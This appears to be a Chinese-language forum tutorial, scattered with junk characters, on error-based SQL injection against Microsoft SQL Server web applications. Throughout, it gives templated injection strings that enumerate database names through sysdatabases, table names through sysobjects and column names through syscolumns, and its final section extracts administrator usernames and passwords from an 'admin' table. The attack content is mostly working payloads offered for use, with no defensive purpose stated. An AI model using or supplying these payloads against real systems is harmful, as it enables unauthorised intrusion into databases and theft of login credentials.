: j' K* t) k! d8 ]1.暴出当前表名和列名+ K# q( q" R" F# k4 I" w; \8 S
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。0 v Q: o& c: p) o
5 [) p) T' f0 X8 U/ E, ?6 t
第一.爆出所有数据库名% A! o4 \% ?9 f4 i; V8 H
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。" `8 \4 K2 E" P
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。% |3 y7 ?& X/ y$ c h( @% }
, i+ f' {. Q; Y) k3 `. L
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名 , t3 U2 \9 d% M* J0 K8 T a0 t3 ?* P1 d 3 R' g4 Z1 v. ?3 k% E7 O第二.爆出指定库中的所有表名 * M: d# K A; ~ v( U4 I$ q得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。 7 q7 X) }1 B! L$ c/ @( J再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。2 a C: a8 S9 V0 a
& h3 J+ z/ ~, h1 L) \
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--4 _1 @" h* o/ h y: F* [" n/ t
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))-- ; ?! R7 s8 ?, t ?$ s% Mand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))-- 2 o- Q1 A$ a6 g , n, v# M" a6 y+ @4.爆出指定表中的所有列名$ Z# W5 W a6 o
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) + {6 [& `1 @+ h7 R
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'! |* v5 ^- p! t! b! c5 a
! F% y: f' ]7 p5 e
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名( f2 L! w) d# K. F, \! [0 c
' `3 W: g' ^0 W+ [; R
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- . ?5 d9 T- t3 s+ Z, i$ _
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。( ~ _3 D2 W9 i, ~4 E
$ P5 x) d% N/ a1 V! K/ W9 C* R# q & G+ O5 b+ Q# @& m+ O) x% Vand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值# I0 Y; t- Q8 K* A @. K. t& R( I
' ~2 ^0 }& P( J- X/ Y, n' ^and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名+ K, b9 I* I& E
2 y1 A; F3 O" g& ~
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ) g" X/ S& [, F1 i O* U8 T $ R3 L; |+ \ O: S. P! J0 E, `0 k2 ]* c0 B& q1 z
$ \9 ?$ ~9 _' u2 i0 P% }5.读取指定表中的数据1 ?5 f& f& Z6 I9 f! l( w
# _8 S; h# ?5 Z! a* U- Q2 Xand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 D* U; E2 X) v" _
+ v. D w5 [3 O6 e" b
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)-- & ]( ~4 L3 g4 {' l( I5 E( |% b6 a
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码0 }8 {+ D' O; f/ f9 C8 Z
9 l2 ^; b" V! t. [' a2 n 2 J5 A7 O/ x- p Y# S; Band 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao) U- L1 n$ o- C9 N! z
' ~! |% y& ]6 {* ?+ `! I7 ^
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)9 z4 n. V1 R9 b* n; M$ _
3 l1 H8 w* E, u* Y1 G5 ^5 z m/ f" Sand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--3 q, q( L) u0 Z9 S5 M8 V8 ^& |
% k6 p& @2 t. o知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。0 w' m' g! }& L